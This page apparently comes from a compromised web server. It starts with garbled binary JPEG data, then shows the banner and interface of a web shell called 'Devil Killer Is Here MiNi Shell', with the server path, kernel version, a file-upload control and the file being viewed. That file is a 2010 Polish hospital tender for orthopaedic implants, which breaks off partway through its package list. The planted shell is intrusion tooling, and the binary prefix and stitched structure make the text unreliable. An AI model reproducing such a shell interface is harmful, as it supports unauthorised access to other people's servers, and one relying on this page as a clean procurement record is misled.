JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20100518/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20100518/127227-N-2010.html

<p class="kh_header"><b>Sosnowiec: Dostawa implantów ortopedycznych</b><br>
<b>Numer ogłoszenia: 127227 - 2010; data zamieszczenia: 18.05.2010</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Samodzielny Publiczny Szpital Miejski w Sosnowcu , ul. Szpitalna 1, 41-219 Sosnowiec, woj. śląskie, tel. 32 2964219, 3630479, faks 32 2964219, 2635719.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.szpital.sosnowiec.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Samodzielny publiczny zakład opieki zdrowotnej.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawa implantów ortopedycznych.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest dostawa implantów ortopedycznych
Kod CPV 33 183100-7 Implanty ortopedyczne.

Zamówienie składa się z 21 części tzw. pakietów, z których każdy stanowi oddzielny przedmiot zamówienia:
Pakiet nr 1 - Endoprotezy cementowe stawu biodrowego
Pakiet nr 2 - Endoprotezy bezcementowe stawu biodrowego
Pakiet nr 3 - Endoproteza bezcementowa rewizyjna modularna
Pakiet nr 4 - Endoproteza bezcementowa anatomiczna
Pakiet nr 5 - Endoprotezoplastyka stawu kolanowego
Pakiet nr 6 - Koszyki rewizyjne do panewki biodrowe
Pakiet nr 7 - Implanty do stropu panewki
Pakiet nr 8 - Siatki do rekonstrukcji ubytków kostnych
Pakiet nr 9 - Implanty do rekonstrukcji więzadła krzyżowego
Pakiet nr 10 - Implanty do szycia łąkotek
Pakiet nr 11 - Implanty do rekonstrukcji uszkodzonych struktur stawu barkowego
Pakiet nr 12 - Zespolenia zewnętrzne
Pakiet nr 13 - Cement kostny oraz próżniowe systemy mieszalników
Pakiet nr 14 - Osteosynteza - implanty chirurgiczne
Pakiet nr 15 - Gwoździe śródszpikowe
Pakiet nr 16 - System płytek blokowanych
Pakiet nr 17 - Osteotomia implanty chirurgiczne
Pakiet nr 18 - Grawitacyjny system separacji płytek - GPS
Pakiet nr 19 - Cement kostny oraz próżniowe systemy mieszalników (pojedynczy)
Pakiet nr 20 - System do autologicznej retransfuzji krwi
Pakiet nr 21 - Zestaw do szycia zerwanych ścięgien.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 21.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający nie wymaga wniesienia wadium</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>1 Wykonawca spełni warunek w przypadku gdy posiada uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania.
2 Zamawiający dokona oceny spełniania tego warunku w przypadku przedłożenia przez Wykonawcę w ofercie oświadczenia o spełnianiu warunków udziału w postępowaniu (według Załącznika nr 2 do SIWZ).</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>1 Wykonawca spełni warunek w przypadku gdy zrealizował dostawy implantów ortopedycznych
w okresie ostatnich 3 lat przed dniem wszczęcia postępowania o udzielenie zamówienia, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie,  odpowiadające swoim rodzajem przedmiotowi zamówienia.
2 Zamawiający dokona oceny spełniania tego warunku w przypadku przedłożenia przez Wykonawcę w ofercie oświadczenia o spełnianiu warunków udziału w postępowaniu (według Załącznika nr 2 do SIWZ).</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>1 Wykonawca spełni warunek w przypadku, gdy dysponuje odpowiednim potencjałem technicznym oraz osobami zdolnymi do wykonywania zamówienia.
2 Zamawiający dokona oceny spełniania tego warunku w przypadku przedłożenia przez Wykonawcę w ofercie oświadczenia o spełnianiu warunków udziału w postępowaniu (według Załącznika nr 2 do SIWZ).</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>1 Wykonawca spełni warunek w przypadku gdy dysponuje osobami zdolnymi do wykonania zamówienia, posiadającymi wiedzę i doświadczenie.
2 Zamawiający dokona oceny spełniania tego warunku w przypadku przedłożenia przez Wykonawcę w ofercie oświadczenia o spełnianiu warunków udziału w postępowaniu (według Załącznika nr 2 do SIWZ).</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>1 Wykonawca spełni warunek w przypadku gdy znajduje się w sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia.
2 Zamawiający dokona oceny spełniania tego warunku w przypadku przedłożenia przez Wykonawcę w ofercie oświadczenia o spełnianiu warunków udziału w postępowaniu (według Załącznika nr 2 do SIWZ).</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
</li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

<li style="margin-bottom: 12px;">wykonawca powołujący się przy wykazywaniu spełniania warunków udziału w postępowaniu na potencjał innych podmiotów, które będą brały udział w realizacji części zamówienia, przedkłada także dokumenty dotyczące tego podmiotu w zakresie wymaganym dla wykonawcy, określonym w pkt III.4.2.</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<br><p class="bold">

III.5) INFORMACJA O DOKUMENTACH POTWIERDZAJĄCYCH, ŻE OFEROWANE DOSTAWY , USŁUGI LUB ROBOTY BUDOWLANE ODPOWIADAJĄ OKREŚLONYM WYMAGANIOM</p>
<p class="bold">W zakresie potwierdzenia, że oferowane dostawy, usługi lub roboty budowlane odpowiadają określonym wymaganiom należy przedłożyć:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc">
<li style="margin-bottom: 12px;">próbki, opisy lub fotografie</li>

<li style="margin-bottom: 12px;">zaświadczenie podmiotu uprawnionego do kontroli jakości potwierdzającego, że dostarczane produkty odpowiadają określonym normom lub specyfikacjom technicznym</li>

<li style="margin-bottom: 12px;"><p style="margin: 0px; padding: 0px;">inne dokumenty</p>
<p style="margin: 0px; padding: 0px;">dotyczy punktu: próbki, opisy lub fotografie
1. katalog oferowanego asortymentu lub inny dokument w języku polskim zawierający szczegółowy opis z zaznaczeniem odpowiedniego pakietu i pozycji asortymentu. 
2. próbki oferowanego asortymentu - na żądanie Zamawiającego w trakcie postępowania przetargowego</p></li>



</ul>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Wartość o której mowa w § 4 ust. 3 może ulec zmianie  w przypadku ustawowej zmiany stawki podatku VAT lub w przypadku korzystnych zmian cenowych dla Zamawiającego</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.szpital.sosnowiec.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Szpital Miejski w Sosnowcu, 41-219 Sosnowiec, 
ul. Szpitalna 1.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 26.05.2010 godzina 10:00, miejsce: SP Szpital Miejski w Sosnowcu, 41-219 Sosnowiec, 
ul. Szpitalna 1, Sekretariat III piętro.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Pakiet nr 1 - Endoprotezy cementowe stawu biodrowego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Endoproteza połowicza częściowa stawu biodrowego typu AUSTIN-MOORE THOMPSON, składająca się z następujących elementów:
- standardowy trzpień modularny typu AUSTIN-MOORE wykonany ze stopu tytanowego w 19 rozmiarach z głową o średnicy od 38 do 56 mm (rozmiar co 1 mm), 
- wąski trzpień modularny typu AUSTIN-MOORE wykonany ze stopu tytanowego w 17 rozmiarach z głową o średnicy od 38 do 54 mm (rozmiar co 1 mm),
- trzpień modularny typu THOMPSON wykonany ze stopu tytanowego w 19 rozmiarach z głową o średnicy od 38 do 56 mm (rozmiar co 1 mm). Endoprotezy w opakowaniach sterylnych.	szt.	35
2	Endoproteza całkowita cementowa stawu biodrowego składająca się z następujących elementów: 
- modularny trzpień bezkołnierzowy ze stożkiem 12/14, trzpień w 6 standardowych rozmiarach, 
- głowa ceramiczna, średnica 28,0 mm lub 32,0 mm w trzech długościach szyjki (krótka, średnia i długa), stożek 12/14, zamiennie głowa metalowa, średnica 22,2 mm, 28,0 mm lub 32,0 mm w pięciu długościach szyjki (krótka, średnia, długa, x-długa, xx-długa),             - panewka polietylenowa standardowa o podwyższonej wytrzymałości na ścieranie wyposażona w stalowy krąg pozwalający na zobrazowanie zdjęć rtg (średnica wewnętrzna 22,2 mm, 28,0 mm lub 32,0 mm) o wysokiej wytrzymałości w 12 rozmiarach średnicy zewnętrznej od 42 do 64 mm, 
- centralizer w 6 stanardowych rozmiarach i zamiennie z wchłanialnym korkiem do kanału szpikowego.	szt.	20.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Pakiet nr 2 - Endoprotezy bezcementowe stawu biodrowego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Trzpień w opcji do wyboru:                          
 - uniwersalny, w dwóch płaszczyznach posiadający kształt klina, samocentrujący (nie wymaga centralizatora). Trzpień części 1/3 bliższej pokryty tytanową okładziną napylaną próżniowo i cienką warstwą hydroksyapatytu. Dostępny w opcjach: standardowej i z offsetem lateralnym. Stożek trzpienia 12/14.   
- anatomiczny (lewy/prawy), w części dystalnej wygięty, samocentrujący (nie wymaga centralizatora). Dostępny w opcjach: pokryty hydroksyapatytem w 1/3 części bliższej zaś w części pozostałej polerowany i pokryty hydroksyapatytem na całej długości. Stożek trzpienia 12/14.                                        
- opcjonalnie trzpień krótki uniwersalny w dwóch płaszczyznach posiadający kształt klina dostępny w 10 rozmiarach. Stożek trzpienia 12/14.	szt.	30
2	Panewka w opcjach do wyboru:                    
- panewka typu częściowy pressfit wyposażona w gwint samotnący na obrzeżu. Pozostała powierzchnia panewki bez gwintu pokryta tytanową okładziną napylaną próżniowo. Wkładka polietylenowa z wiązaniami krzyżowymi (crosslink-sterylizacja gamma w atmosferze gazu obojętnego), do głów o średnicy 28mm i 32mm.      
 - panewka typu pressfit. Powierzchnia panewki bez gwintu pokryta tytanową okładziną napylaną próżniowo i dodatkowo cienką warstwą hydroksyapatytu. Otwory na śruby zaślepione fabrycznie. Wkładka polietylenowa z wiązaniami krzyżowymi (crosslink), do głów o średnicy 28mm i 32mm.           	szt.	20
3	Panewka antyluksacyjna typu pressfit. Powierzchnia panewki bez gwintu, pokryta hydroksyapatytem lub panewka polerowana przeznaczona do wersji cementowej. Wkładka panewkowa z polietylenu z wiązaniami krzyżowymi (crosslink), niezatrzaskująca się w czaszy (wkładka poruszająca się swobodnie w czaszy) umożliwiająca zatrzaśnięcie głowy 28mm lub 22mm. 	szt.	10
4	Głowy w opcjach do wyboru:        
- metalowe o średnicy 22mm, 28mm i 32 mm, na stożek 12/14                              
- ceramiczne 28mm z minimum trzema długościami szyjki.        	szt.	30
5	Śruby panewkowe tytanowe, sterylne o średnicy 6,5mm, używane opcjonalnie.	szt.	10.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 3 <b>NAZWA:</b> Pakiet nr 3 - Endoproteza bezcementowa rewizyjna modularna.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Trzpień tytanowy w kształcie konikalnym - element krętarza pokryty napylonym tytanem i hydroksyapatytem, cztery offsety, konus V40, możliwość rotacji po założeniu trzpienia. Głowa metalowa CoCr o średnicy 28mm w min. trzech rozmiarach długości szyjki. Panewka bezcementowa typu press-fit pokryta porowatością tytanową i hydroksyapatytem, z podwójnym mechanizmem zamykającym dającą możliwość zastosowania śródoperacyjnie wkładu ceramicznego lub polietylenowego w dwóch rodzajach: bezotworowa lub z min. 5 otworami z możliwością dodatkowej stabilizacji za pomocą śrub w rozmiarach średnicy zewnętrznej od 44 do 72mm. Wkładka polietylenowa z 0 i 10 stopniowym okapem o średnicy wewnętrznej 28mm, z możliwością zastosowania wkładu ekscentrycznego dającego co najmniej 6mm lateralizacji, oraz wkładu typu związanego (contrain) zapobiegającego dyslokacji. Możliwość zastosowania panewki wkręcanej pokrytej hydroksyapatytem ze wszystkimi opcjami wkładek jak dla panewki press-fit. Panewka bezcementowa typu press-fit pokryta hydroksyapatytem w dwóch rodzajach: bezotworowa z możliwością stabilizacji nakręcanymi od zewnątrz szpilkami oraz min. 4 otworami z możliwością dodatkowej stabilizacji za pomocą śrub i szpilek, w rozmiarach średnicy zewnętrznej od 42 do 70mm. Wkładka polietylenowa z okapem.
Skład kompletu:
- 1x element krętarzowy,
- 1x trzpień,
- 1x panewka wkręcana/press-fit                                                         - 1x wkład polietylenowy,                                                                 - 1x głowa metalowa,                                                                      - 5x śruby/obturator..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 4 <b>NAZWA:</b> Pakiet nr 4 - Endoproteza bezcementowa anatomiczna.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Trzpień anatomiczny (prawy,lewy) bezkołnierzowy, tytanowy, pokryty w 1/3 długości bliższej hydroksyapatytem, część dystalna polerowana. Długość trzpienia w zakresie 100mm do 145mm, min. 8 rozmiarów dla każdej strony. Głowa metalowa CoCr o średnicy 28mm,32mm,36mm,40mm,44mm, bądź głowa ceramiczna o średnicy 28mm,32mm,36mm w min. trzech rozmiarach długości szyjki. Panewka bezcementowa typu press-fit pokryta porowatością tytanową i hydroksyapatytem, z podwójnym mechanizmem zamykającym dającą możliwość zastosowania śródoperacyjnie wkładu ceramicznego lub polietylenowego, w dwóch rodzajach: bezotworowa lub z min. 5 otworami z możliwością dodatkowej stabilizacji za pomocą śrub w rozmiarach średnicy zewnętrznej od 44 do 72mm. W przypadku użycia kombinacji ceramika-ceramika średnica zewnętrzna głowy musi rosnąć wraz ze wzrostem średnicy zewnętrznej panewki. Wkładka polietylenowa z 0 i 10 stopniowym okapem o średnicy wewnętrznej 28mm, 32mm, 36mm,40mm, 44mm z możliwością zastosowania wkładu ekscentrycznego dającego co najmniej 6mm lateralizacji, oraz wkładu typu związanego (contrain) zapobiegającego dyslokacji. Możliwość zastosowania panewki wkręcanej ze wszystkimi opcjami wkładek jak dla panewki press-fit. Panewka bezcementowa typu press-fit pokryta hydroksyapatytem w dwóch rodzajach: bezotworowa z możliwością stabilizacji nakręcanymi od zewnątrz  oraz z min. 4 otworami z możliwością dodatkowej stabilizacji za pomocą śrub i szpilek, w rozmiarach średnicy zewnętrznej od 42 do 70mm. Wkładka polietylenowa z okapem.
Skład kompletu:
- trzpień (lewy lub prawy),
- panewka press-fit lub wkręcana                                                - wkładka polietylenowa,                                                           - głowa metalowa bądź głowa ceramiczna,                                   - śruby, szpilki, obturatory 4 szt.- w różnych zestawieniach..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 5 <b>NAZWA:</b> Pakiet nr 5 - Endoprotezoplastyka stawu kolanowego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Endoproteza cementowa stawu kolanowego, anatomiczna, kłykciowa, z możliwością zachowania lub usunięcia wiązadeł krzyżowych, z możliwością rozbudowy o oparty na podstawowym systemie system rewizyjny składający się z klinów oraz trzpieni i śrub. Komponent udowy anatomiczny (prawy, lewy) o geometrii jednoosiowej (w osi A/P i M/L). Modularna część piszczelowa wykonana ze stopu kobaltowo - chromowego oraz wkładka z utwardzonego polietylenu, mocowanie oddzielnie. Wkładki o rozmiarach: 8, 10, 12, 15, 18 mm mocowane standardowo - nieruchomo oraz ruchome tzw. system mobile - bearing. Możliwość zastosowania komponentu rzepkowego.
1 komplet składa się z:
- komponent udowy lewy i prawy,
- komponent piszczelowy standardowy lub mobile - bearing,
- wkładki standardowe lub mobile - bearing	komplet	20.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 6 <b>NAZWA:</b> Pakiet nr 6 - Koszyki rewizyjne do panewki biodrowej.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1	Koszyk rewizyjny do panewki stawu biodrowego, wykonany z czystego tytanu, anatomiczny (prawy,lewy) w trzech rozmiarach(dla każdej ze stron), umożliwiający mocowanie wewnątrz na cemencie kostnym panewki polietylenowej (niskoprofilowej) o średnicy dostosowanej do rozmiaru koszyka (46mm,52mm lub 58mm). Koszyk wyposażony w trzy ramiona umożliwiające mocowanie do kości miednicy za pomocą śrub. Śruby mocujące (3 śruby) o średnicy 6,5mm i długości od 16mm do 68 mm (włącznie).	komplet	3.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.18.31.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 7 <b>NAZWA:</b> Pakiet nr 7 -Implanty do stropu panewki.</p>
